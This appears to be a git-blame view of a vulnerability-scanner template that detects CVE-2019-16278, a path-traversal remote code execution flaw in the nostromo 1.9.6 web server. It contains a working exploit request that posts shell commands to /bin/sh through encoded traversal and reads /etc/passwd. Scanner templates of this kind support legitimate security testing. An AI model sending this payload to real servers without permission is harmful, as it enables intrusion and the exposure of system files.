2021-01-02 04:59:06 +00:00
id : CVE-2019-16278
2020-09-01 15:59:30 +00:00
info :
2020-09-01 17:58:20 +00:00
author : pikpikcu
name : nostromo 1.9.6 - Remote Code Execution
severity : critical
2021-02-05 19:44:41 +00:00
reference : https://www.exploit-db.com/raw/47837
tags : cve,cve2019,rce
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.80
cve-id : CVE-2019-16278
cwe-id : CWE-22
description : "Directory Traversal in the function http_verify in nostromo nhttpd through 1.9.6 allows an attacker to achieve remote code execution via a crafted HTTP request."
2020-09-01 15:59:30 +00:00
requests :
- raw :
- |
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
Host : {{Hostname}}
2020-09-01 17:59:32 +00:00
2020-09-01 15:59:30 +00:00
echo
echo
cat /etc/passwd 2>&1
2020-09-01 17:59:32 +00:00
2020-09-01 15:59:30 +00:00
matchers :
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
